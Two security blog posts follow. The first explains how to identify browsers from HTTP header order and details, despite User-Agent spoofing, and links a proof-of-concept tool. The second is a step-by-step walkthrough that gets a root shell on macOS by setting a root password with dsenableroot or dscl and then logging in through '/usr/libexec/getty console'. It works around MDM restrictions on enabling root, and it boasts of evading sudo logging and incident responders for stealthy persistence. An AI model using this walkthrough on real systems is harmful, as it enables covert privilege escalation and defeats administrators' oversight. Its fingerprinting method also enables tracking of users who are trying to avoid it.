Scriptless Identification of Browsers

Written by noncetonic

Foreword

This is a fairly short post illustrating a technique for identifying a browser based on request headers. This technique is not reliant on any scripting support and sucessfully identifies browsers regardless of User-Agent spoofing or other such obfuscation techniques.

Provided alongside this post is a PoC tool that implements the checks mentioned in this post.

Background

Request headers sent by browsers are fairly standard but due to implementation details in individual browser codebases provide metadata unique to the browser which can be used to positively identify the browser.

As request headers can be read server-side without the need for any client-side scripting capabilities this technique is useful for identifying a browser which has extentions/plugins installed aimed at disrupting fingerprinting.

Where them headers at?

Here are some examples of different request headers sent by Chrome, Firefox, and Safari.

Chrome

GET / HTTP/1.1
Host: localhost:8081
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Firefox

GET / HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

Safari

GET / HTTP/1.1
Host: localhost:10101
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15',
Accept-Language: en-us
Accept-Encoding: gzip, deflate

GG noncetonic, so what?

Astute readers may notice the following:

  • After the GET request and Host header all browsers use the same handful of headers but with unique order.
  • Some headers contain details in one browser that are not in other browsers.
  • Some browsers use different case in headers which other browsers do not.

When these points are combined, the following fingerprints are derived.

Identifying Chrome

  • Unique order of request headers
  • Accept-Encoding lists br as an encoding which allows support for brotli encoding https://en.wikipedia.org/wiki/Brotli
  • Accept adds two mime-types not typically seen explictly stated with other browsers (despite other browsers having support for these mime-types) : image/webp and image/apng.
  • Accept-Language has a modified q value (currently unsure of the significance of the q variable) of 0.9 contrasting the 0.5 of Firefox and the complete omission of the q variable in Safari

Identifying Safari

  • Unique order of request headers
  • Accept-Language lists only en-us and omits the ,en;q=0.X format of Chrome and Firefox. Additionally, both Chrome and Firefox use the spelling en-US but Safari uses en-us instead.

Identifying Firefox

  • Unique order of request headers

Damn, Daniel!

Taking the above rules and creating fingerprints based on them is extremely easy. Here are arrays for each of these three browsers containing the order of request headers unique to that browser.

chrome = ["host","connection","upgrade-insecure-requests","user-agent","accept","accept-encoding","accept-language"]
firefox= ["host","user-agent","accept","accept-language","accept-encoding","connection","upgrade-insecure-requests"]
safari= ["host","connection","upgrade-insecure-requests","accept","user-agent","accept-language","accept-encoding"]

One thing to note is the inclusion of certain headers such as DNT and Pragma which are not seen unless settings are enabled in the browser or a browser is explictly forcing a non-cached request to a page. For these reasons certain headers have been ignored.

My favorite rapper is 2-PoC

(Ok, so there aren’t really 2 PoCs and I don’t really like 2-Pac but I needed a pun for this second title.)

I’ve shared a PoC node.js server that outputs the detected browser using both request header order as well as unique header details. You can check it out at https://github.com/n0ncetonic/browseRekt .

Closing

As a simple PoC there are definitely browsers missing and more research that could be done; that is an exercise left to the reader. Something worth noting is that as many browsers base their code on the open-source Chromium project (Opera, Vidalia, etc.) this technique will inaccurately assume these browsers to be Chrome. This is a limitation of this technique and other identification methods must be leveraged in order to accurately determine whether the browser is in fact Chrome or a branched code base.


macOS Serial Console Login

Written by n0ncetonic

Foreword

This short post documents a technique for authenticating as root on macOS and provides procedures for bypassing the default configuration of macOS which explicitly disables the root user. For some added fun—and in keeping with Eric Raymond’s Rule of Diversity–one of the procedures neuters a common mitigation against re-enabling the root user.

Rule of Diversity Developers should design their programs to be flexible and open. This rule aims to make programs flexible, allowing them to be used in ways other than those their developers intended. ;)

The route to root

Under a default installation of macOS any administratrative user can trivially enable (and disable) the root account via the dsenableroot(8) command.

DESCRIPTION dsenableroot sets the password for the root account if enabling the root user account. Otherwise, if disable [-d] is chosen, the root account passwords are removed and the root user is disabled.

When enabling the root user via dsenableroot you will be prompted for a “root password” but knowing the root password is not a requirement (and by default root does not have a password); anything you enter here will be accepted as the password for root so long as you don’t fat-finger it when prompted to “verify root password”.

user@blacksunlabs:~ $ dsenableroot
username = user
user password:
root password:
verify root password:

dsenableroot:: ***Successfully enabled root user.

Secret Squirrel Note It’s worth noting here that this was all done without running the sudo command which might otherwise raise a red flag on networks where users do not commonly run sudo or in cases where solutions such as Centrify have been deployed to trigger session recording when dzdo/sudo are run. One less data point for incident responders during post-mortem examination of a host.

Likewise it is similarly easy to disable the root user, allowing administrators to disable the root user after concluding its use.

user@blacksunlabs:~ $ dsenableroot -d
username = user
user password:

dsenableroot:: ***Successfully disabled root user.

MDM: A protection

It is becoming more and more common to restrict enabling root for end-users on managed workstations. As most end-users have no need for explicitly logging in as root, this is considered good security hygiene.

In these situations, attempting to enable root via dsenableroot will produce an error such as this:

user@blacksunlabs:~ $ dsenableroot
username = user
user password:
root password:
verify root password:

dsenableroot:: ***Failed to enable root user.

We will address the case of hardened workstations near the conclusion of this post.

The not so secret life of getty

History Lesson If you’ve had the pleasure of contracting tinnitus as a result of prolonged employment in a NOC, you are probably all too familiar with getty(8). You’ve probably also made Null Modem cables out of speaker wire in a pinch.

For those with limited familiarity with getty, don’t worry. In a nutshell, getty is in charge of initializing a tty terminal, prompting for user credentials, and passing those credentials over to login(1) to handle the heavy lifting. More specifically, it allows system consoles, psuedo-terminals, or terminals to login to a local system over a non-graphical interface.

In much older versions of macOS—think Mac OS X Jaguar and similar—it was possible to get access to the system console login by entering “>console” as a username on the graphical login screen. This functionality has long-since been removed but it got me wondering about the system console on modern macOS incarnations.

PoC||GTFO

Now that the useful content of this post has been padded with enough background info to not fit in a tweet or two, let’s get to the good bits.

The procedure on default or non-hardened workstations is quite simple:

  • dsenableroot to set a root password
  • dsenableroot -d to disable the root account. It really shouldn’t be enabled and upon cursory glance the environment mimicks a default system
  • /usr/libexec/getty console to drop us into a system console login prompt.

Once at a system console login prompt simply enter “root” as your login and when prompted, provide the password you set using dsenableroot.

user@blacksunlabs:~ $ dsenableroot
username = user
user password:
root password:
verify root password:

dsenableroot:: ***Successfully enabled root user.
user@blacksunlabs:~ $ dsenableroot -d
username = user
user password:

dsenableroot:: ***Successfully disabled root user.
user@blacksunlabs:~ $ /usr/libexec/getty console
�
D�rwi�BSD�(black�sun�-labs���(tt��005��
�
lo�i�:�root�
            Password:
Last login: Sat Nov 17 12:53:32 on ttys004
blacksunlabs:~ root# id -a
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),701(com.apple.sharepoint.group.1),401(com.apple.access_remote_ae),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
blacksunlabs:~ root# exit
logout

There you go. Despite root being disabled by Directory Services, logging in via a serial connection such as the system console happily ignores Directory Services and presents us with a fully functional tty and shell. An added bonus is that we did not have to invoke sudo—or even be in the sudoers file 😉—and there is no cascading process tree connecting our root shell to the original user.

Remember Churchill

Don’t take ‘no’ for an answer, never submit to failure. - Winston Churchill

If you encountered that pesky “dsenableroot:: ***Failed to enable root user.” message when running dsenableroot remember the Rule of Diversity and add some Churchill for good measure. If the system says “no”, use tools in a way developers hadn’t intended and elbow security mitigations in the face for doubting your skills.

As was shown in the previous procedure, the only thing that’s actually needed is a known password for the root user. While dsenableroot allows us to circumvent sudoers restrictions and cover our tracks a bit, it does still require knowing the password of a user with administrative permissions.

Taking advantage of the fact that most macOS workstations follow the “single user administrator” model we have a few potential ways for leveraging our administrator user’s credentials to set a password for the root user.

dscl(1) is used here to mimick administrative best practices for managing macOS user credentials via Directory Services, but sudo passwd root would work just as well.

user@blacksunlabs:~ $ dsenableroot
username = user
user password:
root password:
verify root password:

dsenableroot:: ***Failed to enable root user.
user@blacksunlabs:~ $ sudo /usr/bin/dscl . -passwd /Users/root
Password:
New Password:
01:57:11 user@blacksunlabs:~ $ /usr/libexec/getty console
�
D�rwi�BSD�(black�sun�-labs���(tt��005��
�
lo�i�:�root�
            Password:
trogers-ltm:~ root# id -a
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),701(com.apple.sharepoint.group.1),401(com.apple.access_remote_ae),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
trogers-ltm:~ root# logout

From “Go To Hell!” to “Yo! Root Shell!” No sadfeels bourbon today, you just earned celebratory bourbon! **

Closing

Honestly I’m just glad I finally got around to writing this up. I had a need for a sneaky means of elevated persistence on a system and this idea occurred to me but as is common due to the mercurial nature of my work, the idea got shelved and priorities shifted constantly, and I never found myself in a situation formally investigate and document this technique.

Also, before i see the tweets, yes, it is possible to provide the -u admin username, -p admin password, and -r rootpassword as flags to dsenableroot, I personally prefer to be prompted interactively for these bits of information to avoid accidentally writing sensitive information to history files.